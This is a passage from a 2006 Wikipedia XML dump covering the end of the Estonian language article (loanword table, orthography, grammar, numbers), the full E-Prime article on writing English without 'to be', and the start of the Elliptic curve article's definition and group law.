&lt;td&gt;100-150&lt;/td&gt;
&lt;td&gt;1500 -1000 BC&lt;/td&gt;
&lt;td&gt;''selg, koon, käpp, vaim; kevad, täht, järv, haab, saar, tamm, vaher, sarapuu, õlg, lehm, siga, pett, jahvatama, kurg, kurvits, parm, sääsk; keema, hiilgama, käis, piir; vene; lell; jumal; aher, jahe, kõva, süva; kargama, pesema, püsima, lüpsma''&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;
&lt;td&gt;Finno-Lappic&lt;/td&gt;
&lt;td&gt;130 - 150&lt;/td&gt;
&lt;td&gt;1000 – 500 BC&lt;/td&gt;
&lt;td&gt;''vihm, sammal, org, vili, põõsas, põud, õnn, veli, ime, luule, taga, tõsi, nälg, küll''&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;
&lt;td&gt;Baltic-Finnic&lt;/td&gt;
&lt;td&gt;600  - 800&lt;/td&gt;
&lt;td&gt;500 BC – 800 AD&lt;/td&gt;
&lt;td&gt;''põder, oja, udu, hobu, mänd; kõne, sõna; aeg, eile; laps, rahvas, linn; nuga, king; julge''&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;
&lt;td&gt;Estonian and unknown&lt;/td&gt;
&lt;td&gt;appr. 1000&lt;/td&gt;
&lt;td&gt;&amp;nbsp;&lt;/td&gt;
&lt;td&gt;''räni, roie, salk, videvik, jäärak, ila, aas, lubi, lõhn, kaan, kesv, ürp'' + numerous onomatopoetic-descriptive words&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;
&lt;td&gt;Artificial&lt;/td&gt;
&lt;td&gt;50-60&lt;/td&gt;
&lt;td&gt;&amp;nbsp;&lt;/td&gt;
&lt;td&gt;''veenma, roim, laip, kolp, relv, ese, süüme, mõrv, ulm, siiras, range, sulnis, nõme, taunima, naasma, reetma, embama; eirama, eramu, etlema, kõlar, külmik, meetmed, meene, siirdama, teave, teismeline, teler, üllitis, ärandama, levima, süva(muusika), taies, rula''&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;
&lt;td&gt;Proto-European loans (hypothetical)&lt;/td&gt;
&lt;td&gt;appr. 50&lt;/td&gt;
&lt;td&gt;5000 – 3000  BC&lt;/td&gt;
&lt;td&gt;''higi, huul, koib, kõrv, kube, külg, liha, lõug, nahk, rind, selg; mägi, mets, neem, nõmm, oja, org, saar, soo; ahven, haug, koger, koha, rääbis, siig, vimb; jänes, konn; helmes''&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;
&lt;td&gt;Indo-European and Indo-Iranic loans&lt;/td&gt;
&lt;td&gt;20 - 45&lt;/td&gt;
&lt;td&gt;3000 – 1000 BC&lt;/td&gt;
&lt;td&gt;''mesi, sool, osa, sada, põrsas, varss, sarv, puhas, vasar''&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;
&lt;td&gt;Proto-Baltic and Baltic loans&lt;/td&gt;
&lt;td&gt;100 - 150&lt;/td&gt;
&lt;td&gt;1500 – 500 BC&lt;/td&gt;
&lt;td&gt;''hammas, hani, hein, hernes, hõim, oinas, puder, põrgu, ratas, seeme, sein, mets, luht, sõber, tuhat, vagu, regi, vill, veel, kael, kirves, laisk''&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;
&lt;td&gt;Proto-Germanic and Germanic loans&lt;/td&gt;
&lt;td&gt;380&lt;/td&gt;
&lt;td&gt;2000 BC – 13th century&lt;/td&gt;
&lt;td&gt;''agan, ader, humal, kana, kaer, rukis, lammas, leib, põld; aer, mõrd, laev, noot, puri; : kuld, raud, tina; sukk, katel, küünal, taigen; kuningas, laen, luna, raha, rikas, vald; kalju, kallas, rand; armas, taud, kaunis, ja''&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;
&lt;td&gt;Old Slavic loans&lt;/td&gt;
&lt;td&gt;50-75&lt;/td&gt;
&lt;td&gt;10th – 13th century&lt;/td&gt;
&lt;td&gt;''aken, sahk, sirp, turg, teng(elpung), pagan, papp, raamat, rist, kasukas''&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;
&lt;td&gt;Proto-Latvian loans&lt;/td&gt;
&lt;td&gt;40&lt;/td&gt;
&lt;td&gt;6th- 7th century&lt;/td&gt;
&lt;td&gt;''kanep, lääts, magun, udras, kõuts, palakas, lupard, harima, kukkel, vanik, laabuma, kauss, mulk, pastel''&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;
&lt;td&gt;Low German loans&lt;/td&gt;
&lt;td&gt;750&lt;/td&gt;
&lt;td&gt;12th – 16th century&lt;/td&gt;
&lt;td&gt;''kool, neer, ribi; kruus, torm; kõrvits, peet, salat, petersell, münt, köömen, loorber, palm, tamm, roos, ploom; hunt, köök, kruubid, kringel, pannkook, pekk, prantssai, sült, vorst, õli, tärklis, pruukost, kruus, pann, pütt, korv, lähker, toober, tiik, tuli, lamp, lühter; käärid, teljed, vokk, lõuend, samet, siid, vilt, kuub, kört, loor, müts, muda, mantel, püksid, vammus, nööp; hoov, häärber, kelder, kemmerg, korsten, ruum, saal, tall, haamer, hing, höövel, kellu, kapp, pink, tool, trepp, vall, võlv; jaht, jääger, kants, kütt, laager, lahing, piir, püss, poiss, tääk, vaht; altar, ingel, jünger, psalm, prohvet, salm, preester, troost, pihtima, vöörmünder, piiskop, sant; preili, memm, mats, härra, proua, kelm, narr, naaber, kuller, laat, selts, krahv, saks, arst, plaaster; hangeldama, küürima, tingima, kortel, matt, toll, vaagima, viht, üür, paar, piik, tosin, veerand; näärid, reede, tund, vastlad; ankur, kiil, tüür, praam, madrus, pootsman, kotermann, loots, kipper; kaart, kool, kunst, maaler, maalima, paber, trükkima, uurima, trumm, tantsima, piip, vilepill, pasun; just, topelt, väärt''&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;
&lt;td&gt;Swedish loans&lt;/td&gt;
&lt;td&gt;140&lt;/td&gt;
&lt;td&gt;13th – 17th century&lt;/td&gt;
&lt;td&gt;''kratt, kroonu, kuunar, julla, pagar, näkk, plasku, plika, solk, tasku, räim, tünder, moor, puldan, tont''&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;
&lt;td&gt;Russian loans&lt;/td&gt;
&lt;td&gt;350&lt;/td&gt;
&lt;td&gt;14th – 20th century&lt;/td&gt;
&lt;td&gt;''kapsas, tatar, puravik, riisikas, sihvka, kiisu, suslik, kulu, prussakas, tarakan, naarits, soobel, uss; noos, moiva, vobla, mutt; kamorka, putka, sara, lobudik, trahter, koiku, nari, pruss, tökat; hõlst, kamass, kirsa, kombinesoon, kott, puhvaika, marli, pintsak, retuusid, trussikud; kiisel, pontšik, rosolje, rupskid, borš, uhhaa, morss, samagon; batoon, kissell, plombiir, povidlo, šašlõkk, uhhaa; plotski, mahorka, pabeross; mannerg, kopsik; nuut, kantsik, piits, tupik, relss, jaam; kabi, knopka; kasakas, kasarmu, karauul, katelok, kiiver, munder, nekrut, pagun, polk, ranits, sinel, tentsik, utsitama, timukas, rajoon, türm, pops, artell; palakas, haltuura, parseldama, parisnik, siva, tolk, tots, pujään, kitt, tuur, ladna, prosta, sutike; kaanima, kostitama, kruttima, kupeldama''&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;
&lt;td&gt;(High) German loans&lt;/td&gt;
&lt;td&gt;500&lt;/td&gt;
&lt;td&gt;16th – 20th century&lt;/td&gt;
&lt;td&gt;''larhv, lokk, seitel; kastan, pappel, kirss, jasmiin, jorjen, kartul, tulp, vihk; ahv, auster, kalkun, siisike, miisu, mops, taks, kits, vau, viidikas, nepp, pistrik; klimp, klops, kotlet, kompvek, supp, tort, viiner, soust, vahvel, vürts, vein; jope, kittel, kampsun, kleit, vest, lips, värvel, sall, pluus; kamin, pliit, käär(kamber), sahver, latter, kabel, palat; pult, sohva, leen, kummut, kardin, sahtel; uur, klade, klamber, latern, sihverplaat, silt; opman, oober, tisler, tudeng, velsker, virtin, antvärk, aadlik, kärner, kilter, kutsar, lärm, oksjon, krempel, klatš; krehvtine, hull, liiderlik, napp, noobel, ontlik, plass, tumm, trammis; kleepima, klantsima, mehkeldama, sehkendama, rehkendama, trimpama, pummeldama, praalima, turnima; ahoi, proosit, hurraa, hopp, hallo''&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;
&lt;td&gt;Finnish loans&lt;/td&gt;
&lt;td&gt;90&lt;/td&gt;
&lt;td&gt;19th – 20th century&lt;/td&gt;
&lt;td&gt;''aare, sangar, harras, jenka, julm, jäik, sünge, tehas, uljas, vaist, vihjama, säilima, kuvama, haihtuma, anastama''&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;
&lt;td&gt;Hebrew loans&lt;/td&gt;
&lt;td&gt;&lt; 5&lt;/td&gt;
&lt;td&gt;&amp;nbsp;&lt;/td&gt;
&lt;td&gt;''jaana(lind), tohuvabohu''&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;
&lt;td&gt;Roma loans&lt;/td&gt;
&lt;td&gt;&lt;5&lt;/td&gt;
&lt;td&gt;&amp;nbsp;&lt;/td&gt;
&lt;td&gt;''manguma''&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;

==Orthography==

Like Finnish, Estonian employs the [[Latin alphabet]], in addition to which the [[Estonian alphabet]] contains letters ''š'', ''ž'', ''ä'', ''ö'', ''ü'', and ''õ''. The letters ''c'', ''q'', ''w'', ''x'' and ''y'' are limited to [[proper names]] of foreign origin, and ''f'', ''z'', ''š'', and ''ž'' appear in loanwords and foreign names only. ''Ä'', ''ö'', and ''ü'' are pronounced similarly to their equivalents in German, the language from which they were originally borrowed. The letter ''õ'' denotes [[International Phonetic Alphabet|IPA]] {{IPA|/ɤ/}}, unrounded {{IPA|/o/}}, or a mid, back, unrounded vowel. (It has a different sound from the same letter in [[Portuguese language|Portuguese]]. It is similar to the [[Russian language|Russian]] [[Yery|ы]] and the [[Vietnamese_language|Vietnamese]] [[ơ]].)

Estonian orthography is essentially phonemic with each phoneme of the language represented by exactly one grapheme. Exceptions to this derive from historical agreements: for example the initial letter 'h' in words, preservation of the morpheme in [[declension]] of the word (writing b, g, d in places where p, k, t is pronounced) and in the use of 'i' and 'j'. Also, ''š'' and ''ž'' are substituted with ''sh'' and ''zh'' in some written texts.

Modern Estonian orthography is based on the ''Newer Orthography'' created by [[Eduard Ahrens]] in the second half of the 19th century based on Finnish Orthography. The ''Older Orthography'' it replaced was created in the 17th century by [[Bengt Gottfried Forselius]] and [[Johann Hornung]] based on [[German language|standard German]] orthography. Earlier writing in Estonian had by and large used an ad hoc orthography based on [[Latin]] and [[Middle Low German]] orthography. Some influences of the standard German orthography - for example, writing 'W'/'w' instead of 'V'/'v' persisted well into the 1930s.

==Grammar==

Typologically, Estonian represents a transitional form from an [[agglutinating language]] to an [[inflected language]].  Over the course of Estonian history, [[German language|German]] has exercised a strong influence on Estonian, both in vocabulary and syntax.

In Estonian nouns and pronouns do not have [[grammatical gender]], but nouns and adjectives decline in fourteen cases: [[nominative]], [[genitive]], [[partitive]], [[illative]], [[inessive]], [[elative]], [[allative]], [[adessive]], [[ablative]], [[translative]], [[terminative]], [[essive]], [[abessive]], and [[comitative]], with the case and number of the adjective(s) always agreeing with that of the noun (except in the terminative, essive, abessive and comitative, where there is agreement only for the number, the adjective being in the genitive form). Thus the illative for &quot;a yellow house&quot; (''kollane maja'') — &quot;into a yellow house&quot; is (''kollasesse majja'').

The direct object of the verb appears either in the [[Accusative case|accusative]] (for total objects) or in the partitive (for partial objects). The case accusative looks exactly like the genitive. Genitive vs. partitive case opposition of [[Object (grammar)|object]] used with transitive verbs creates a [[telicity]] contrast, just as in Finnish. This is a rough equivalent of the perfect vs. imperfect aspect opposition.

The verbal system lacks a distinctive future tense (the present tense serves here) and features special forms to express an action performed by an undetermined [[Subject (grammar)|subject]] (the &quot;impersonal&quot;).

==Language example==

'''NURMEKUNNA HÜMN'''

:Karjatades kundikarju,
:Süües musti hooramarju,
:Leidsin eilse Nurmekunna ma.
:Veel ei olnud otsas mõdu,
:Veel ei olnud sündind sõdu,
:Lembitut, kes liitis Maavalla.

:Hingel hakkab veidi valus.
:Kuskil laanes, kuskil talus,
:Kostab vaikselt vilepilli hääl.
:Kuskil nurmel lõhnab mesi.
:Tuul toob kokku inimesi,
:Hõbedased sõled rinna pääl.

:Kostab, justkui löödaks lokku –
:Juuaks karudega kokku.
:Nurmel mängib vaikselt vilepill.
:Karukujud hõbemärgis,
:Tuleb tüdruk valges särgis.
:Juustesse on põimit rukkilill.

:Aga ükskord joodi mõdu,
:Mäletati muistseid sõdu,
:Lembitut, kes liitis Maavalla.
:Hiiekünkal kasvas tamme.
:Kuulsin tuleviku samme –
:Leidsin homse Nurmekunna ma.

:Kõik, mis on ilus, on eilsesse läev.
:Jällegi eilseks saab tänane päev.
:Kõik, mis siin selles ilus on jääv,
:Tagasi homsest toob tänane päev.

''Lyrics by [[Tõnu Trubetsky]]''

==Numbers==
:0 - null
:1 - üks
:2 - kaks
:3 - kolm
:4 - neli
:5 - viis
:6 - kuus
:7 - seitse
:8 - kaheksa
:9 - üheksa
:10 - kümme
:11 - üksteist
:12 - kaksteist
:13 - kolmteist
:20 - kakskümmend
:21 - kakskümmend üks
:22 - kakskümmend kaks
:29 - kakskümmend üheksa
:30 - kolmkümmend
:90 - üheksakümmend
:100 - (üks)sada
:101 - sada üks
:110 - sada kümme
:112 - sada kaksteist
:120 - sada kakskümmend
:190 - sada üheksakümmend
:200 - kakssada
:900 - üheksasada
:1000 - tuhat
:1000000 - miljon

==Reference==
Mati Hint. ''Häälikutest sõnadeni.'' Valgus 1978, Tallinn.

==See also==
*[[List of tongue-twisters#Estonian|Estonian tongue-twisters]]

==External links==
{{InterWiki|code=et}}
*An [http://www.eki.ee/cgi-bin/inglise.cgi?if=en Estonian-English dictionary (Institute of the Estonian Language)]
*An [http://www.ibs.ee/dict/ English-Estonian dictionary (Institute of Baltic Studies)]
*An [http://aare.pri.ee/dictionary.html?switch=en Estonian-English-Estonian dictionary]
* A [http://glos.net.ru/est.php Russian-Estonian dictionary]
* Estonica.org article about the [http://www.estonica.org/eng/lugu.html?menyy_id=61&amp;kateg=38&amp;alam=44 Estonian language]
* [http://www.einst.ee/literary/ Estonian literary magazine]
* [http://www.loecsen.com/travel/discover_pop.php?lang=en&amp;to_lang=21&amp;lang-Estonian/ Learn and listen to useful expressions in Estonian]
*[http://www.websters-online-dictionary.org/definition/Estonian-english/  Estonian English Dictionary] from [http://www.websters-online-dictionary.org Webster's Online Dictionary] - the Rosetta Edition

{{Official EU languages}}

[[Category:Agglutinative languages]]
[[Category:Estonian culture]]
[[Category:Finno-Ugric languages]]
[[Category:Languages of Finland]]
[[Category:Languages of Estonia]]

[[af:Esties]]
[[ar:لغة إستونية]]
[[bs:Estonski jezik]]
[[ca:Estonià]]
[[cs:Estonština]]
[[de:Estnische Sprache]]
[[et:Eesti keel]]
[[el:Εσθονική γλώσσα]]
[[es:Idioma estonio]]
[[eo:Estona lingvo]]
[[eu:Estoniera]]
[[fr:Estonien]]
[[gl:Lingua estoniana]]
[[io:Estoniana linguo]]
[[id:Bahasa Estonia]]
[[it:Lingua estone]]
[[he:אסטונית]]
[[kw:Estonek]]
[[la:Lingua Estonica]]
[[li:Estisch]]
[[lt:Estų kalba]]
[[hu:Észt nyelv]]
[[mk:Естонски јазик]]
[[mo:Лимбa ecтoнэ]]
[[nl:Estisch]]
[[ja:エストニア語]]
[[no:Estisk språk]]
[[nn:Estisk språk]]
[[pl:Język estoński]]
[[pt:Língua estoniana]]
[[ro:Limba estonă]]
[[ru:Эстонский язык]]
[[se:Esttegiella]]
[[sl:Estonščina]]
[[fi:Viron kieli]]
[[sv:Estniska]]
[[tr:Estonca]]
[[zh:爱沙尼亚语]]</text>
    </revision>
  </page>
  <page>
    <title>E-Prime</title>
    <id>10224</id>
    <revision>
      <id>41460528</id>
      <timestamp>2006-02-27T14:15:05Z</timestamp>
      <contributor>
        <username>Dmlandfair</username>
        <id>296817</id>
      </contributor>
      <comment>/* Discouraged forms */ it's always means &quot;it is&quot;</comment>
      <text xml:space="preserve">:''For the interactive-experiment design software, see [[E-Prime (software)]]''
'''E-Prime''', short for '''English Prime''', refers to a modification of the [[English language]] that prohibits the use of the [[verb]] &amp;quot;[[Copula|to be]]&amp;quot; in all its forms. 

== History ==
One of Korzybski's students, D. David Bourland, Jr. proposed E-prime as an addition to [[Alfred Korzybski]]'s [[general semantics]] some years after Korzybski's [[death]] in [[1950]]. Bourland coined the term in an [[essay]] in [[1965]] entitled ''A Linguistic Note: Writing in E-Prime'' (originally published in the ''General Semantics Bulletin'').  It quickly became controversial within general semantics, partly because sometimes practioners of General Semantics saw Bourland as attacking the verb 'to be' as such, and not just certain usages.

Korzybski had found two forms of the verb 'to be' - the 'is' of identity and the 'is' of predication - to have structural problems. For example, the sentence &quot;The coat is red&quot; has no observer, but &quot;We see the coat as red&quot; (here &quot;we&quot; indicates observers) appears more correct as to the facts about light waves and colour as determined by [[modern science]], i.e., [[colour]] results from a reaction in the [[human brain]]. Korzybski advocated raising one's awareness of  structural issues generally through training in general semantics.

== The different functions of 'to be' ==
In use, the verb 'to be' has several distinct functions:

* '''Identity''', of the form &quot;''noun'' be ''noun''&quot; ''[The cat is an animal]''
* '''Predication''', of the form &quot;''noun'' be ''adjective''&quot; ''[The cat is furry]''
* '''Auxiliary''', of the form &quot;''noun'' be ''verb''&quot; ''[The cat is sleeping]''; ''[The cat is bitten by the dog]''
* '''Existence''', of the form &quot;''noun'' be&quot; ''[There is a cat]''
* '''Location''', of the form &quot;''noun'' be ''place''&quot; ''[The cat is on the mat]''

Bourland sees specifically the &amp;quot;identity&amp;quot; and &amp;quot;predication&amp;quot; functions as [[:wikt:pernicious|pernicious]], but advocates eliminating all forms for the sake of simplicity. In the case of the &quot;existence&quot; form (and less [[idiomatic]]ally, the &quot;location&quot; form), one can simply substitute the verb &quot;exists&quot;.

== Criticism ==

Note that E-Prime forces a writer to choose verbs and meanings carefully:  the elimination of &quot;to be&quot; implicitly eliminates the [[passive voice]] and [[Imperfective aspect|progressive aspect]].  Since many stylists argue that these occur too frequently in sloppy English writing, this constraint alone accounts for much of the appeal of E-Prime to some of its advocates.  Of course it may also generate difficulties for some writers as they learn to use E-Prime.  

E-Prime's advocates may also assert that its use leads to a less dogmatic style of [[language]] that reduces the possibility for misunderstanding and for [[conflict]]. Detractors might observe that some languages already treat equivalents of the verb &quot;to be&quot; very differently without giving any obvious advantages to their speakers. For instance, [[Arabic language|Arabic]], like [[Russian language|Russian]], already lacks a verb form of &quot;to be&quot; or &quot;is&quot; in the present tense. If one wanted to assert, in Arabic, that &quot;an apple is red&quot;, one would not literally say &quot;the apple looks red&quot;, but &quot;the apple red&quot;. In other words, speakers can communicate the verb form of &quot;to be&quot; - and/or its E-Prime equivalents - with their semantic advantages and disadvantages, even without the existence of the word itself (though without resolving the ambiguities that E-Prime seeks to alleviate).  Similarly, the [[Ainu language]] consistently does not distinguish between &quot;be&quot; and &quot;become&quot;; thus ''ne'' means both &quot;be&quot; and &quot;become&quot;, and ''pirka'' means &quot;good&quot;, &quot;be good&quot;, and &quot;become good&quot; equally. Many languages &amp;mdash; for instance [[Japanese language|Japanese]], [[Spanish language|Spanish]], and [[Hebrew language|Hebrew]] &amp;mdash; already distinguish &quot;existence&quot;/&quot;location&quot; from &quot;identity&quot;/&quot;predication&quot;. 

Less compatibility exists between E-Prime and [[Charles Kay Ogden]]'s [[Basic English]] because Basic English has a closed set of verbs - excluding verbs such as &quot;become&quot;, &quot;remain&quot;, and &quot;equal&quot; that E-Prime uses to replace or precisify states of &quot;being&quot;. Changes such as those proposed for E-Prime also might eliminate enough ways to express [[grammatical aspect|aspect]] in [[African American Vernacular English]] to prove unworkable if applied indiscriminately to such language.

==Discouraged forms==

''To be'' falls in the set of [[irregular verb]]s in English; some individuals, especially those who have learned English as a second language, may have difficulty recognizing all its forms. In addition, speakers of [[colloquial]] English frequently [[Contraction (linguistics)|contract]] ''to be'' after [[pronoun]]s or before the word ''[[Negation#Grammar|not]]''. E-Prime would prohibit the following words as forms of ''to be'':

*''be''
*''being''
*''been''
*''am''
*''is''; ''isn't''
*''are''; ''aren't''
*''was''; ''wasn't''
*''were''; ''weren't''
*[[Contraction (linguistics)|Contractions]] formed from a [[pronoun]] and a [[Grammatical conjugation|conjugation]] of ''to be'':
**''I'm''
**''you're''; ''we're''; ''they're''
**''he's''; ''she's''; ''it's''
*E-Prime likewise prohibits contractions of ''to be'' found in nonstandard [[dialect]]s of English, such as the following:
**''[[ain't]]''
**''[[hain't]]'' (when derived from ''ain't'' rather than ''haven't'')

===Allowed words===

E-prime does not prohibit the following words, because they do not derive from forms of ''to be''. Some of these serve similar grammatical functions (see [[auxiliary verb]]s).
*''become''
*''has''; ''have''
*''I've''; ''you've''
*''do''; ''does''; ''doing''; ''did''
*''can''; ''could''
*''will''; ''would''
*''shall''; ''should''
*''ought''

===Allowed words with prohibited homophones or homographs===

The following words may either look ([[homograph]]) or sound ([[homophone]]) like a form of the word ''to be'', but they do not have the same meaning.

*''its'', the [[possessive case]] of the singular [[gender-neutral pronoun]]
*''it's'' and more generally ''’s'' when derived from 'has'
*''hain't'' (in nonstandard dialects when derived from ''haven't'' rather than ''ain't'')
*[[Noun]]s that sound like forms of the verb ''to be'':
**''[[bee]]'', meaning an insect or [[spelling bee|a contest]]
**''[[being]]'' when used as a noun, as in [[Virginia Woolf]]'s statement, &quot;The artist after all is a solitary ''being''&quot;
**''[[B]]'', ''[[M]]'', and ''[[R]]'', names of the letters (although ''M'' is pronounced distinctly from ''am'' in many [[dialect]]s)

== Examples ==



{| border=&quot;0&quot; style=&quot;padding:8px; border: solid silver 1px&quot;
!E-Prime
!Standard English
|-
|colspan=&quot;2&quot;|
----
|-
|| These short examples illustrate some of the ways to modify standard English writing to use E-Prime.
|| These are some short examples to illustrate some of the ways that standard English writing can be modified to use E-Prime.
|-
|colspan=&quot;2&quot;|
----
|-
|| Roses seem red;&lt;br /&gt;Violets seem blue.&lt;br /&gt;Honey pleases me,&lt;br /&gt;And so do you.
|| [[Roses are red]];&lt;br /&gt;Violets are blue.&lt;br /&gt;Honey is sweet,&lt;br /&gt;And so are you.
|-
|colspan=&quot;2&quot;|
----
|-
|| Alice began to tire of sitting by her sister on the bank, and of having nothing to do: once or twice she had peeped into the book her sister read, but it had no pictures or conversations in it, 'and what use does a book have,' thought Alice 'without pictures or conversation?'
:&amp;mdash;modified from [[Lewis Carroll]]'s ''[[Alice's Adventures in Wonderland]]''
|| Alice was beginning to get very tired of sitting by her sister on the bank, and of having nothing to do: once or twice she had peeped into the book her sister was reading, but it had no pictures or conversations in it, 'and what is the use of a book,' thought Alice 'without pictures or conversation?'
:&amp;mdash;[[Lewis Carroll]]'s ''[[Alice's Adventures in Wonderland]]''
|}

== Examples of Literal Translation vs. Translation &quot;in the spirit&quot; of E-Prime ==


In the original verse (''Roses are red/Violets are blue/Honey is sweet/And so are you'') the speaker expresses a belief in absolutes: &quot;just as it is true that roses are red and honey is sweet, it is true that you are as sweet as honey&quot;. But E-Prime seeks to avoid this type of thinking and writing. 

''First Example of Literal Translation''
An E-Prime translation attempting to preserve the literal meaning of the original might read:

Roses look red;&lt;br /&gt;Violets look blue.&lt;br /&gt;Honey pleases me,&lt;br /&gt;And so do you.

''Second Example of Literal Translation''

The following example sacrifices the metaphor implied in line 4 of the original (&quot;You are honey-sweet&quot;) to preserve one literal meaning of line 3, namely that honey  ''tastes'' sweet, and therefore replaces line 4 with simile meaning something close to the original: &quot;honey tastes sweet, and something of your nature makes you ''as'' sweet at that.&quot; 

Roses look red;&lt;br /&gt;Violets look blue.&lt;br /&gt;Honey tastes sweet,&lt;br /&gt;As sweet as you.

(''This example assumes the speaker does not mean the addressee of the poem &quot;tastes sweet,&quot; but does mean something like &quot;I find you sweet as honey,&quot; and attempts to preserve the meter and rhyme of the original while still avoiding any form of the verb &quot;to be.'')


''An Example of Translation &quot;in the spirit&quot; of e-Prime''

In an attempt to subtract the assumption of absolutes (&quot;what is&quot;) in the original, and to illustrate thought and perspective more in the spirit of E-Prime, the following translation attempts to state meaning directly from a hypothetical speaker's personal feelings toward the addressee, and express that meaning through the filter of that speaker's perceptions of the natural world. Therefore, the translation below changes the meaning of the poem. 

Roses seem red;&lt;br /&gt;Violets seem blue.&lt;br /&gt;I like honey,&lt;br /&gt;And I like you.

That version has attempted to say something close to &quot;I perceive the natural world in the way most people do. (Few people would dispute that the most common rose-variety seems red to the human eye, or that violets can appear blue.) Therefore, when I tell you I like honey, I tell you I like a thing most would agree tastes sweet and may also perceive as a pleasing thing in other ways. Therefore by claiming to like honey and to like you, I claim to make that statement with a certainty as absolute as human perception allows.

==See also==
*[[General Semantics]]
*[[Grammatical voice]]
*[[Sapir-Whorf hypothesis]]

==External links==
*[http://www.e-prime.com E-Prime] - Practice your E-Prime in an online discussion forum
*[http://www.nobeliefs.com/eprime.htm Toward understanding E-prime]
*[http://web.archive.org/web/20041012070736/http://objectz.com/columnists/eandd/ Working with E-Prime] - detailed article
*[http://www.xenodochy.org/gs/e-prime.html E-prime: The Spirit and the Letter, by Ralph E. Kenyon Jr.]
*[http://learn-gs.org/library/elaine-eprime.htm Discovering E-Prime, by Elaine C. Johnson]
*[http://www.hilgart.org/papers_html/091S196.B07.html E-Prime and Linguistic Revision, by C. A. Hilgartner]
*[http://learn-gs.org/library/etc/49-2-french.pdf The Top Ten Arguments Against E-Prime (PDF)] - by James D. French, arguing for moderation in use of ''to be'' rather than abstinence

[[Category:Forms of English]]
[[Category:Semantics]]
[[simple:E Prime]]</text>
    </revision>
  </page>
  <page>
    <title>Elliptic curve</title>
    <id>10225</id>
    <revision>
      <id>41551518</id>
      <timestamp>2006-02-28T02:35:08Z</timestamp>
      <contributor>
        <username>Dmharvey</username>
        <id>277018</id>
      </contributor>
      <comment>wfy</comment>
      <text xml:space="preserve">In [[mathematics]], an '''elliptic curve''' is a [[plane curve]] defined by an equation of the form
:''y''&lt;sup&gt;2&lt;/sup&gt; = ''x''&lt;sup&gt;3&lt;/sup&gt; + ''a'' ''x'' + ''b'',
which is non-singular; that is, its graph has no [[cusps]] or self-intersections. (When the [[characteristic (algebra)|characteristic]] of the coefficient field is equal to 2 or 3, the above equation is not quite general enough to comprise all non-singular [[cubic curve]]s; see [[#Elliptic curves over a general field|below]] for a more precise definition.)

One finds that elliptic curves correspond to embeddings of the [[torus]] into the [[complex projective plane]]; such embeddings generalize to arbitrary [[field (mathematics)|field]]s, and so it is said that elliptic curves are  [[non-singular]] [[projective variety|projective]] [[algebraic curve]]s of [[genus (mathematics)|genus]] 1 over a [[field (mathematics)|field]] ''K'', together with a distinguished point defined over ''K''. The natural [[group (mathematics)|group]] structure of a torus manifests itself in a curious geometric way on an elliptic curve; the set of points of the curve form an [[abelian group]].

Elliptic curves are especially important in [[number theory]], and constitute a major area of current research; for example, they were used in the proof, by [[Andrew Wiles]] (assisted by one of his former PhD students, [[Richard Taylor]]), of [[Fermat's last theorem]]. They also find applications in [[cryptography]] (see the article [[elliptic curve cryptography]]) and [[integer factorization]].

&lt;small&gt;An elliptic curve is '''''not''''' the same as an [[ellipse]]: see [[elliptic integral]] for the origin of the term. &lt;/small&gt;

==Elliptic curves over the real numbers==
Although the formal definition of an elliptic curve is fairly technical and requires some background in [[algebraic geometry]], it is possible to describe  some features of elliptic curves over the [[real numbers]] using only high school [[algebra]] and [[geometry]].

In this context, an elliptic curve is a [[plane curve]] defined by an equation of the form
:&lt;math&gt;y^2 = x^3 + ax + b&lt;/math&gt;,
where ''a'' and ''b'' are real numbers. This type of equation is called a [[Weierstrass equation]].

For example, the following graphs illustrate the elliptic curves given by the equations &lt;math&gt;y^2 = x^3 - x&lt;/math&gt; and &lt;math&gt;y^2 = x^3 - x + 1&lt;/math&gt;.
[[image:ECexamples01.png]]

The definition of elliptic curve also requires that the curve be [[non-singular]]. Geometrically, this means that the graph has no [[cusps]] or self-intersections. Algebraically, this involves calculating the [[discriminant]],
: &lt;math&gt;\Delta = -16(4a^3 + 27b^2)&lt;/math&gt;
The curve is non-singular if the discriminant is not equal to zero. (Although the factor &amp;minus;16 seems irrelevant here, it turns out to be convenient in more advanced study of elliptic curves.)

If the curve is non-singular, then its graph has ''two'' components if the discriminant is positive, and ''one'' component if it is negative. For example, in the graphs shown above, the discriminant in the first case is 64, and in the second case is &amp;minus;368.

==The group law==
By adding a &quot;point at infinity&quot;, we obtain the projective version of this curve. If ''P'' and ''Q'' are two points on the curve, then we can uniquely describe a third point which is the intersection of the curve with the line through ''P'' and ''Q''. If the line is tangent to the curve at a point, then that point is counted twice; and if the line is parallel to the ''y''-axis, we define the third point as the point &quot;at infinity&quot;. Exactly one of these conditions then holds for any pair of points on an elliptic curve.

[[image:ECClines.png]]

It is then possible to introduce a [[group (mathematics)|group operation]], &quot;+&quot;, on the curve with the following properties: we consider the point at infinity to be 0, the identity of the group; and if a straight line intersects the curve at the points ''P'', ''Q'' and ''R'', then we require that ''P'' + ''Q'' + ''R'' = 0 in the group. One can check that this turns the curve into an [[abelian group]], and thus into an [[abelian variety]].  It can be shown that the set of ''K''-rational points (including the point at infinity) forms a [[subgroup]] of this group. If the curve is denoted by ''E'', then this subgroup is often written as ''E''(''K'').

